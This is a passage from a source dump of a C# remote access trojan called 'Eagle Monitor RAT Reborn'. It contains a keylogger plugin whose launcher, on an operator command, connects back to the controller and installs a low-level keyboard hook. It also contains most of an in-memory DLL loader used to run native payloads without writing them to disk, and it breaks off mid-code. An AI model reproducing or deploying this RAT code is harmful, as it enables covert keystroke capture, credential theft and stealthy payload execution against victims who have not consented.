IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport(user32)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetKeyboardState(byte[] lpKeyState); [DllImport(user32)] internal static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); [DllImport(user32)] internal static extern uint MapVirtualKey(uint uCode, uint uMapType); [DllImport(user32, CharSet = CharSet.Auto, SetLastError = true)] internal extern static IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId); [DllImport(user32)] internal static extern IntPtr GetForegroundWindow(); [DllImport(user32)] internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); [DllImport(user32)] internal static extern short GetKeyState(int keyCode); [DllImport(user32)] internal static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); [StructLayout(LayoutKind.Sequential)] internal struct KBDLLHOOKSTRUCT { public Keys key; public int scanCode; public int flags; public int time; public IntPtr extra; } internal delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); internal static IntPtr ptrHook; internal static LowLevelKeyboardProc callback; #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Keylogger/Keylogger.csproj ================================================  Debug AnyCPU {D60C7327-79D4-4525-95D9-ADD6B55986A8} Library Properties Plugin Keylogger v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/Keylogger/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Keylogger based on async with improvements || */ namespace Plugin { public static class Launch { internal static ClientHandler clientHandler; internal static string key; internal static string baseIp; internal static string HWID; public static void Main(LoadingAPI loadingAPI) { Launch.key = loadingAPI.Key; Launch.baseIp = loadingAPI.BaseIp; Launch.HWID = loadingAPI.HWID; switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.KEYLOG_ON: clientHandler = new ClientHandler(loadingAPI.Host, key); clientHandler.ConnectStart(); KeyLib.Hook.StartHooking(); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Keylogger")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Keylogger")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("d60c7327-79d4-4525-95d9-add6b55986a8")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Debug/Keylogger.csproj.CoreCompileInputs.cache ================================================ d2f885ecf362d1eaedf38bf9b2cfe659ba985bf1 ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Debug/Keylogger.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncOps\Keylogger\obj\Debug\Keylogger.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\bin\Debug\Plugins\Keylogger.dll F:\Personal\DesyncOps\Keylogger\obj\Debug\Keylogger.dll F:\Personal\DesyncOps\Keylogger\obj\Debug\Keylogger.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\Keylogger\obj\Debug\Keylogger.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.dll F:\Personal\DesyncOps\Remote Access Tool\bin\Debug\Plugins\Keylogger.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\bin\Debug\Plugins\Keylogger.dll E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Keylogger.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Keylogger.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Debug\Keylogger.dll ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Debug/Keylogger.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.CoreCompileInputs.cache ================================================ 850fa9d7e095bda8479c6585a81c4b669e121de8 ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncOps\bin\Release\Plugins\Keylogger.dll F:\Personal\DesyncOps\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Keylogger\obj\Release\Keylogger.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\Keylogger\obj\Release\Keylogger.dll F:\Personal\DesyncOps\Keylogger\obj\Release\Keylogger.csproj.CopyComplete D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Keylogger.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Keylogger.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Keylogger\obj\Release\Keylogger.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Keylogger.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CopyComplete C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.dll C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Keylogger.dll C:\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Keylogger.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Keylogger.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Keylogger.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Keylogger\obj\Release\Keylogger.dll ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Keylogger/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Keylogger/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/DLLFromMemory.cs ================================================ /* * Original Author : https://github.com/schellingb/DLLFromMemory-net * * DLLFromMemory.Net * * Load a native DLL from memory without the need to allow unsafe code * * Copyright (C) 2018 - 2019 by Bernhard Schelling * * Based on Memory Module.net 0.2 * Copyright (C) 2012 - 2018 by Andreas Kanzler (andi_kanzler(at)gmx.de) * https://github.com/Scavanger/MemoryModule.net * * Based on Memory DLL loading code Version 0.0.4 * Copyright (C) 2004 - 2015 by Joachim Bauch (mail(at)joachim-bauch.de) * https://github.com/fancycode/MemoryModule * * * The contents of this file are subject to the Mozilla Public License Version * 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is MemoryModule.c * * The Initial Developer of the Original Code is Joachim Bauch. * * Portions created by Joachim Bauch are Copyright (C) 2004 - 2015 * Joachim Bauch. All Rights Reserved. * * Portions created by Andreas Kanzler are Copyright (C) 2012 - 2018 * Andreas Kanzler. All Rights Reserved. * * Portions created by Bernhard Schelling are Copyright (C) 2018 - 2019 * Bernhard Schelling. All Rights Reserved. * */ using System; using System.Runtime.InteropServices; public class DLLFromMemory : IDisposable { public class DllException : Exception { public DllException() : base() { } public DllException(string message) : base(message) { } public DllException(string message, Exception innerException) : base(message, innerException) { } } public bool Disposed { get; private set; } public bool IsDll { get; private set; } IntPtr pCode = IntPtr.Zero; IntPtr pNTHeaders = IntPtr.Zero; IntPtr[] ImportModules; bool _initialized = false; DllEntryDelegate _dllEntry = null; ExeEntryDelegate _exeEntry = null; bool _isRelocated = false; [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate bool DllEntryDelegate(IntPtr hinstDLL, DllReason fdwReason, IntPtr lpReserved); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate int ExeEntryDelegate(); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate void ImageTlsDelegate(IntPtr dllHandle, DllReason reason, IntPtr reserved); /// /// Loads a unmanged (native) DLL in the memory. /// /// Dll as a byte array public DLLFromMemory(byte[] data) { Disposed = false; if (data == null) throw new ArgumentNullException("data"); MemoryLoadLibrary(data); } ~DLLFromMemory() { Dispose(); } /// /// Returns a delegate for a function inside the DLL. /// /// The type of the delegate. /// The name of the function to be searched. /// A delegate instance of type TDelegate public TDelegate GetDelegateFromFuncName(string funcName) where TDelegate : class { if (!typeof(Delegate).IsAssignableFrom(typeof(TDelegate))) throw new ArgumentException(typeof(TDelegate).Name + " is not a delegate"); TDelegate res = Marshal.GetDelegateForFunctionPointer((IntPtr)GetPtrFromFuncName(funcName), typeof(TDelegate)) as TDelegate; if (res == null) throw new DllException("Unable to get managed delegate"); return res; } /// /// Returns a delegate for a function inside the DLL. /// /// The Name of the function to be searched. /// The type of the delegate to be returned. /// A delegate instance that can be cast to the appropriate delegate type. public Delegate GetDelegateFromFuncName(string funcName, Type delegateType) { if (delegateType == null) throw new ArgumentNullException("delegateType"); if (!typeof(Delegate).IsAssignableFrom(delegateType)) throw new ArgumentException(delegateType.Name + " is not a delegate"); Delegate res = Marshal.GetDelegateForFunctionPointer(GetPtrFromFuncName(funcName), delegateType); if (res == null) throw new DllException("Unable to get managed delegate"); return res; } IntPtr GetPtrFromFuncName(string funcName) { if (Disposed) throw new ObjectDisposedException("DLLFromMemory"); if (string.IsNullOrEmpty(funcName)) throw new ArgumentException("funcName"); if (!IsDll) throw new InvalidOperationException("Loaded Module is not a DLL"); if (!_initialized) throw new InvalidOperationException("Dll is not initialized"); IntPtr pDirectory = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ExportTable : Of32.IMAGE_OPTIONAL_HEADER_ExportTable)); IMAGE_DATA_DIRECTORY Directory = PtrRead(pDirectory); if (Directory.Size == 0) throw new DllException("Dll has no export table"); IntPtr pExports = PtrAdd(pCode, Directory.VirtualAddress); IMAGE_EXPORT_DIRECTORY Exports = PtrRead(pExports); if (Exports.NumberOfFunctions == 0 || Exports.NumberOfNames == 0) throw new DllException("Dll exports no functions"); IntPtr pNameRef = PtrAdd(pCode, Exports.AddressOfNames); IntPtr pOrdinal = PtrAdd(pCode, Exports.AddressOfNameOrdinals); for (int i = 0; i < Exports.NumberOfNames; i++, pNameRef = PtrAdd(pNameRef, sizeof(uint)), pOrdinal = PtrAdd(pOrdinal, sizeof(ushort))) { uint NameRef = PtrRead(pNameRef); ushort Ordinal = PtrRead(pOrdinal); string curFuncName = Marshal.PtrToStringAnsi(PtrAdd(pCode, NameRef)); if (curFuncName == funcName) { if (Ordinal > Exports.NumberOfFunctions) throw new DllException("Invalid function ordinal"); IntPtr pAddressOfFunction = PtrAdd(pCode, (Exports.AddressOfFunctions + (uint)(Ordinal * 4))); return PtrAdd(pCode, PtrRead(pAddressOfFunction)); } } throw new DllException("Dll exports no function named " + funcName); } /// /// Call entry point of executable. /// /// Exitcode of executable public int MemoryCallEntryPoint() { if (Disposed) throw new ObjectDisposedException("DLLFromMemory"); if (IsDll || _exeEntry == null || !_isRelocated) throw new DllException("Unable to call entry point. Is loaded module a dll?"); return _exeEntry(); } void MemoryLoadLibrary(byte[] data) { if (data.Length < Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))) throw new DllException("Not a valid executable file"); IMAGE_DOS_HEADER DosHeader = BytesReadStructAt(data, 0); if (DosHeader.e_magic != Win.IMAGE_DOS_SIGNATURE) throw new BadImageFormatException("Not a valid executable file"); if (data.Length < DosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS))) throw new DllException("Not a valid executable file"); IMAGE_NT_HEADERS OrgNTHeaders = BytesReadStructAt(data, DosHeader.e_lfanew); if (OrgNTHeaders.Signature != Win.IMAGE_NT_SIGNATURE) throw new BadImageFormatException("Not a valid PE file"); if (OrgNTHeaders.FileHeader.Machine != GetMachineType()) throw new BadImageFormatException("Machine type doesn't fit (i386 vs. AMD64)"); if ((OrgNTHeaders.OptionalHeader.SectionAlignment & 1) > 0) throw new BadImageFormatException("Wrong section alignment"); //Only support multiple of 2 if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint == 0) throw new DllException("Module has no entry point"); SYSTEM_INFO systemInfo; Win.GetNativeSystemInfo(out systemInfo); uint lastSectionEnd = 0; int ofSection = Win.IMAGE_FIRST_SECTION(DosHeader.e_lfanew, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); for (int i = 0; i != OrgNTHeaders.FileHeader.NumberOfSections; i++, ofSection += Sz.IMAGE_SECTION_HEADER) { IMAGE_SECTION_HEADER Section = BytesReadStructAt(data, ofSection); uint endOfSection = Section.VirtualAddress + (Section.SizeOfRawData > 0 ? Section.SizeOfRawData : OrgNTHeaders.OptionalHeader.SectionAlignment); if (endOfSection > lastSectionEnd) lastSectionEnd = endOfSection; } uint alignedImageSize = AlignValueUp(OrgNTHeaders.OptionalHeader.SizeOfImage, systemInfo.dwPageSize); uint alignedLastSection = AlignValueUp(lastSectionEnd, systemInfo.dwPageSize); if (alignedImageSize != alignedLastSection) throw new BadImageFormatException("Wrong section alignment"); IntPtr oldHeader_OptionalHeader_ImageBase; if (Is64BitProcess) oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((long)(OrgNTHeaders.OptionalHeader.ImageBaseLong)); else oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((int)(OrgNTHeaders.OptionalHeader.ImageBaseLong >> 32)); // reserve memory for image of library pCode = Win.VirtualAlloc(oldHeader_OptionalHeader_ImageBase, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); //pCode = IntPtr.Zero; //test relocation with this // try to allocate memory at arbitrary position if (pCode == IntPtr.Zero) pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); if (pCode == IntPtr.Zero) throw new DllException("Out of Memory"); if (Is64BitProcess && PtrSpanBoundary(pCode, alignedImageSize, 32)) { // Memory block may not span 4 GB (32 bit) boundaries. System.Collections.Generic.List BlockedMemory = new System.Collections.Generic.List(); while (PtrSpanBoundary(pCode, alignedImageSize, 32)) { BlockedMemory.Add(pCode); pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)alignedImageSize, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); if (pCode == IntPtr.Zero) break; } foreach (IntPtr ptr in BlockedMemory) Win.VirtualFree(ptr, IntPtr.Zero, AllocationType.RELEASE); if (pCode == IntPtr.Zero) throw new DllException("Out of Memory"); } // commit memory for headers IntPtr headers = Win.VirtualAlloc(pCode, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfHeaders, AllocationType.COMMIT, MemoryProtection.READWRITE); if (headers == IntPtr.Zero) throw new DllException("Out of Memory"); // copy PE header to code Marshal.Copy(data, 0, headers, (int)(OrgNTHeaders.OptionalHeader.SizeOfHeaders)); pNTHeaders = PtrAdd(headers, DosHeader.e_lfanew); IntPtr locationDelta = PtrSub(pCode, oldHeader_OptionalHeader_ImageBase); if (locationDelta != IntPtr.Zero) { // update relocated position Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader"); Marshal.OffsetOf(typeof(IMAGE_OPTIONAL_HEADER), "ImageBaseLong"); IntPtr pImageBase = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ImageBase : Of32.IMAGE_OPTIONAL_HEADER_ImageBase)); PtrWrite(pImageBase, pCode); } // copy sections from DLL file block to new memory location CopySections(ref OrgNTHeaders, pCode, pNTHeaders, data); // adjust base address of imported data _isRelocated = (locationDelta != IntPtr.Zero ? PerformBaseRelocation(ref OrgNTHeaders, pCode, locationDelta) : true); // load required dlls and adjust function table of imports ImportModules = BuildImportTable(ref OrgNTHeaders, pCode); // mark memory pages depending on section headers and release // sections that are marked as "discardable" FinalizeSections(ref OrgNTHeaders, pCode, pNTHeaders, systemInfo.dwPageSize); // TLS callbacks are executed BEFORE the main loading ExecuteTLS(ref OrgNTHeaders, pCode, pNTHeaders); // get entry point of loaded library IsDll = ((OrgNTHeaders.FileHeader.Characteristics & Win.IMAGE_FILE_DLL) != 0); if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint != 0) { if (IsDll) { // notify library about attaching to process IntPtr dllEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint); _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(dllEntryPtr, typeof(DllEntryDelegate)); _initialized = (_dllEntry != null && _dllEntry(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero)); if (!_initialized) throw new DllException("Can't attach DLL to process"); } else { IntPtr exeEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint); _exeEntry = (ExeEntryDelegate)Marshal.GetDelegateForFunctionPointer(exeEntryPtr, typeof(ExeEntryDelegate)); } } } static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, byte[] data) { IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); for (int i = 0; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER)) { IMAGE_SECTION_HEADER Section = PtrRead(pSection); if (Section.SizeOfRawData == 0) { // section doesn't contain data in the dll itself, but may define uninitialized data uint size = OrgNTHeaders.OptionalHeader.SectionAlignment; if (size > 0) { IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)size, AllocationType.COMMIT, MemoryProtection.READWRITE); if (dest == IntPtr.Zero) throw new DllException("Unable to allocate memory"); // Always use position from file to support alignments smaller than page size (allocation above will align to page size). dest = PtrAdd(pCode, Section.VirtualAddress); // NOTE: On 64bit systems we truncate to 32bit here but expand again later when "PhysicalAddress" is used. PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest)); Win.MemSet(dest, 0, (UIntPtr)size); } // section is empty continue; } else { // commit memory block and copy data from dll IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)Section.SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE); if (dest == IntPtr.Zero) throw new DllException("Out of memory"); // Always use position from file to support alignments smaller than page size (allocation above will align to page size). dest = PtrAdd(pCode, Section.VirtualAddress); Marshal.Copy(data, checked((int)Section.PointerToRawData), dest, checked((int)Section.SizeOfRawData)); // NOTE: On 64bit systems we truncate to 32bit here but expand again later when "PhysicalAddress" is used. PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest)); } } } static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr delta) { if (OrgNTHeaders.OptionalHeader.BaseRelocationTable.Size == 0) return (delta == IntPtr.Zero); for (IntPtr pRelocation = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.BaseRelocationTable.VirtualAddress); ;) { IMAGE_BASE_RELOCATION Relocation = PtrRead(pRelocation); if (Relocation.VirtualAdress == 0) break; IntPtr pDest = PtrAdd(pCode, Relocation.VirtualAdress); IntPtr pRelInfo = PtrAdd(pRelocation, Sz.IMAGE_BASE_RELOCATION); uint RelCount = ((Relocation.SizeOfBlock - Sz.IMAGE_BASE_RELOCATION) / 2); for (uint i = 0; i != RelCount; i++, pRelInfo = PtrAdd(pRelInfo, sizeof(ushort))) { ushort relInfo = (ushort)Marshal.PtrToStructure(pRelInfo, typeof(ushort)); BasedRelocationType type = (BasedRelocationType)(relInfo >> 12); // the upper 4 bits define the type of relocation int offset = (relInfo & 0xfff); // the lower 12 bits define the offset IntPtr pPatchAddr = PtrAdd(pDest, offset); switch (type) { case BasedRelocationType.IMAGE_REL_BASED_ABSOLUTE: // skip relocation break; case BasedRelocationType.IMAGE_REL_BASED_HIGHLOW: // change complete 32 bit address int patchAddrHL = (int)Marshal.PtrToStructure(pPatchAddr, typeof(int)); patchAddrHL += (int)delta; Marshal.StructureToPtr(patchAddrHL, pPatchAddr, false); break; case BasedRelocationType.IMAGE_REL_BASED_DIR64: long patchAddr64 = (long)Marshal.PtrToStructure(pPatchAddr, typeof(long)); patchAddr64 += (long)delta; Marshal.StructureToPtr(patchAddr64, pPatchAddr, false); break; } } // advance to next relocation block pRelocation = PtrAdd(pRelocation, Relocation.SizeOfBlock); } return true; } static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode) { System.Collections.Generic.List ImportModules = new System.Collections.Generic.List(); uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR; IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress); for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR)) { IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead(pImportDesc); if (ImportDesc.Name == 0) break; IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name)); if (PtrIsInvalidHandle(handle)) { foreach (IntPtr m in ImportModules) Win.FreeLibrary(m); ImportModules.Clear(); throw new DllException("Can't load libary " + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name))); } ImportModules.Add(handle); IntPtr pThunkRef, pFuncRef; if (ImportDesc.OriginalFirstThunk > 0) { pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk); pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); } else { // no hint table pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk); pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); } for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef)) { IntPtr ReadThunkRef = PtrRead(pThunkRef), 